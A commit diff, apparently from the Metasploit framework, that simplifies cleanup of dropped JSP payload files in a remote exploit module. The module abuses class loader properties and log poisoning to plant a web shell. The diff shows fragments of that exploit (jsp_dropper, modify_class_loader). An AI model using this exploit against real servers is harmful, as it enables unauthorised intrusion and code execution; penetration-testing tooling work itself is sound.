Modify automatic file cleanup

bug/bundler_fix
Julian Vilas 2015-03-10 00:45:20 +01:00
parent 0ef303cb6c
commit fe822f8d33
1 changed files with 5 additions and 10 deletions

View File

@ -200,11 +200,8 @@ class Metasploit3 < Msf::Exploit::Remote
end end
payload_file = rand_text_alphanumeric(4 + rand(4)) payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe) jsp = jsp_dropper(payload_file, payload_exe)
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{payload_file}") register_files_for_cleanup(payload_file)
else
register_files_for_cleanup(payload_file)
end
end end
jsp jsp
@ -274,11 +271,8 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed") fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end end
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86 # This path depends on CWD. May require manual cleanup
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}") register_files_for_cleanup("webapps/ROOT/#{@jsp_file}")
else
register_files_for_cleanup(@jsp_file)
end
# Prepare the JSP # Prepare the JSP
print_status("#{peer} - Generating JSP...") print_status("#{peer} - Generating JSP...")
@ -308,5 +302,6 @@ class Metasploit3 < Msf::Exploit::Remote
} }
modify_class_loader(properties) modify_class_loader(properties)
end end
end end